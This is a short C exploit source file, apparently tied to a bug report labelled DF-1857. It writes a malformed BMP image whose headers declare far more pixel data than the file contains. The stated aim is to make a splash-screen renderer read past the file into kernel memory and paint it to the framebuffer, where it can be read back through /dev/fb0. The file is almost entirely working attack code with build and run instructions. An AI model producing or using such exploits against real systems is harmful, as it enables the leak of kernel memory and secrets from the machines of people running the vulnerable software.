DF-1857 / mkbmp.c
/* DF-1857: craft a BMP whose declared pixel array exceeds the real file, * so the splash renderer reads past the file into kernel memory and paints * it to the framebuffer. Read back via /dev/fb0. * * Build: cc -o mkbmp mkbmp.c * Run: ./mkbmp bad.bmp */ #include <stdint.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #pragma pack(push,1) struct BMPFileHeader { uint16_t bfType; uint32_t bfSize; uint16_t r1,r2; uint32_t bfOffBits; }; struct BMPInfoHeader { uint32_t biSize; int32_t biWidth; int32_t biHeight; uint16_t biPlanes; uint16_t biBitCount; uint32_t biCompression; uint32_t biSizeImage; int32_t biXPelsPerMeter; int32_t biYPelsPerMeter; uint32_t biClrUsed; uint32_t biClrImportant; }; #pragma pack(pop) int main(int argc, char **argv) { const char *out = argc > 1 ? argv[1] : "bad.bmp"; const int32_t W = 320, H = 200; const uint16_t bpp = 8; const uint32_t palette_entries = 256; const uint32_t bfOffBits = 14 + 40 + palette_entries * 4; /* = 1078 */ /* Declare full 320x200 image but only provide ~400 bytes of pixel data */ const uint32_t real_pixel_bytes = 400; struct BMPFileHeader fh = { .bfType = 0x4d42, .bfSize = bfOffBits + real_pixel_bytes, .r1 = 0, .r2 = 0, .bfOffBits = bfOffBits }; struct BMPInfoHeader ih = { .biSize = 40, .biWidth = W, .biHeight = H, .biPlanes = 1, .biBitCount = bpp, .biCompression = 0 /*BI_RGB*/, .biSizeImage = (uint32_t)(W * H), .biClrUsed = palette_entries, .biClrImportant = 0 }; FILE *f = fopen(out, "wb"); fwrite(&fh, sizeof(fh), 1, f); fwrite(&ih, sizeof(ih), 1, f); /* palette: 256 RGBQUAD entries */ for (int i = 0; i < 256; i++) { uint8_t q[4] = { (uint8_t)i, (uint8_t)i, (uint8_t)i, 0 }; fwrite(q, 4, 1, f); } /* pixel data: only 400 bytes instead of 64000 */ for (int i = 0; i < real_pixel_bytes; i++) { uint8_t v = (uint8_t)(i & 0xff); fwrite(&v, 1, 1, f); } fclose(f); fprintf(stderr, "wrote %s: declares %dx%d@%d (%u pixel bytes claimed, %u provided)\n", out, W, H, bpp, (unsigned)(W*H), real_pixel_bytes); return 0; } |